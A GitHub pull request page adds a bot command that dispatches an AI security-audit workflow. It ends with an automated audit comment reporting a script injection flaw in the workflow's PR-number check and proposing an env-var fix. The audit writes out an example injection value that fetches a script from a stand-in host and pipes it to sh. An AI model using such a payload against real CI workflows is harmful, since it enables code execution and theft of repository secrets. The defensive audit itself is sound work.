Skip to content

feat: allow kernel-bot to run security analysis. - #922

Merged
sayakpaul merged 17 commits into
mainfrom
kernel-bot-security
Jun 5, 2026
Merged

sayakpaul merged 17 commits into
mainfrom
kernel-bot-security

Conversation

@sayakpaul

Copy link
Copy Markdown
Member

Fixes #901

Additionally,

  • Modifies the security audit analysis workflow to only trigger on "workflow dispatch". So, the idea is that a maintainer would do kernel-bot security after initially vetting that a PR doesn't have any jailbreaking instructions.
  • Removes the code to post to Slack. Instead, the action comments on a concerned PR. That way, things remain transparent and self-contained.

@sayakpaul

Copy link
Copy Markdown
Member Author

/kernel-bot security

@github-actions

github-actions Bot commented Jun 4, 2026

Copy link
Copy Markdown

Invalid command. Use /kernel-bot <build|build-and-stage|merge-and-upload|release> <kernel1> [kernel2 ...] [--branch <target_branch>].

@sayakpaul

Copy link
Copy Markdown
Member Author

I am afraid we cannot test it without merging to main similar to how these kinds of things were tested in the past.

@sayakpaul
sayakpaul marked this pull request as ready for review June 4, 2026 07:12
@sayakpaul
sayakpaul requested review from danieldk and drbh as code owners June 4, 2026 07:12

@drbh drbh left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

looks good overall, but I think we should move the dispatch logic into the dispatch.py file and update the do_dispatch_release function to take any new args needed to conditionally trigger the security workflow.

**also I think maybe some of the existing function names could be improved (ie maybe dispatch_release should be dispatch?) if you want to make any changes to that feel free to update. however we can totally improve in another PR, and was just a thought since you're touching these files

"merge-and-upload": {"admin"},
"release": {"admin"},
}
SECURITY_WORKFLOW = "security-audit.yml"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this should be in dispatch.py since that is where we list the other workflows we trigger

Comment on lines +454 to +484
def dispatch_workflow(
api_base: str,
token: str,
workflow_filename: str,
ref: str,
inputs: dict,
):
url = f"{api_base}/actions/workflows/{workflow_filename}/dispatches"
github_api_request(url, token, method="POST", data={"ref": ref, "inputs": inputs})


def dispatch_security_audit(
api_base: str,
token: str,
default_branch: str,
issue_number: int,
pr_head_sha: str | None,
):
dispatch_key = make_dispatch_key(issue_number, "security")
dispatch_workflow(
api_base,
token,
SECURITY_WORKFLOW,
default_branch,
{
"pr_number": str(issue_number),
"dispatch_key": dispatch_key,
"head_sha": pr_head_sha or "",
},
)
return DispatchResult(kernel_name="security", dispatch_key=dispatch_key)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this logic should probably also be in the dispatch script too, so we follow the existing patterns

Abdennacer-Badaoui and others added 10 commits June 5, 2026 11:11
* chore: adding liger tiled mlp kernels

* liger-kernels: test with Triton ROCm binary wheels

* chore: align layer to pure

---------

Co-authored-by: Daniël de Kok <me@danieldk.eu>
* add fp4 matmul kernels for deepseek v4 flash

Signed-off-by: Wang, Yi <yi.a.wang@intel.com>

* add missing source code..

Signed-off-by: Wang, Yi <yi.a.wang@intel.com>

* update

Signed-off-by: Wang, Yi <yi.a.wang@intel.com>

* update to w4a8

Signed-off-by: Wang, Yi <yi.a.wang@intel.com>

* update

Signed-off-by: Wang, Yi <yi.a.wang@intel.com>

* perf optimization add add benchmark_perf.py script

Signed-off-by: Wang, Yi <yi.a.wang@intel.com>

* structure

* standarize all kernels and testing around the same api

* better testing framework

* fix batched with sentinels

* tests with sentinels as well

* test static and support ue8m0

* specify v2 as the version

* cleanup

* naming convention

* update readme

* remove bench

* format

* update readme

* trigger

* skip tests on < sm89

* drop sm89 testing, too error prone

* Use triton-rocm-fixes branch to pass build

* Update build.toml

* Fix Torch ops

* Remove custom path insertion

This breaks tests in kernel-builder devshells

---------

Signed-off-by: Wang, Yi <yi.a.wang@intel.com>
Co-authored-by: Wang, Yi <yi.a.wang@intel.com>
Co-authored-by: Daniël de Kok <me@danieldk.eu>
@sayakpaul

Copy link
Copy Markdown
Member Author

@drbh your comments are addressed now. PTAL.

@sayakpaul
sayakpaul requested a review from drbh June 5, 2026 06:04
@sayakpaul
sayakpaul merged commit da8ff02 into main Jun 5, 2026
3 checks passed
@sayakpaul
sayakpaul deleted the kernel-bot-security branch June 5, 2026 16:21
@github-actions

github-actions Bot commented Jun 5, 2026

Copy link
Copy Markdown

🔒 Security Audit — findings detected

An automated, AI-generated security review of this PR flagged the following. These may include false positives — review each item before acting.

I have a clear finding. The validation step explicitly intended to "Guard against injection" itself contains a script injection vulnerability — it interpolates ${{ inputs.pr_number }} directly into the shell instead of binding it to an env var (as the other steps in the same file correctly do).

[MEDIUM] .github/workflows/security-audit.yml:38-46 — Script injection in the "Validate PR number" step
The step whose comment reads "Guard against injection via the pr_number input" interpolates ${{ inputs.pr_number }} directly into the shell:

case "${{ inputs.pr_number }}" in

A dispatcher who supplies pr_number like `curl https://evil/x|sh` (or $(...)) triggers command substitution before the case pattern ever runs, so the validation rejects the input after the injected command has already executed. The same workflow correctly handles the same input via env-var binding two steps later (PR_NUMBER: ${{ inputs.pr_number }} for gh pr diff and gh pr comment), so this is an inconsistency, not a stylistic preference.
Exploitability today is bounded — workflow_dispatch requires actions: write (i.e. repo write access), and the kernel-bot itself only ever passes str(issue_number) from the GitHub API. The risk is (a) anyone with write access can dispatch directly via the API/UI and bypass the bot's numeric guarantee, and (b) the bug undercuts the step's stated purpose, so a future change that exposes the workflow to a less-trusted trigger (e.g. workflow_call) would silently re-open it. The new workflow also grants issues: write and pull-requests: write and holds ANTHROPIC_API_KEY in env, so the blast radius of a successful injection is non-trivial.
Suggestion: Bind the input to an env var and reference the env var in the shell, mirroring the pattern already used in the Generate diff / Comment audit result steps:

- name: Validate PR number
  env:
    PR_NUMBER: ${{ inputs.pr_number }}
  run: |
    case "${PR_NUMBER}" in
      ''|*[!0-9]*)
        echo "Invalid pr_number input: must be numeric"
        exit 1
        ;;
    esac

Audited head SHA 5952afa9e9407f49b58d466b6c2834b076ca2a53 · audit run

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Security audit workflow: support external PRs without forking

5 participants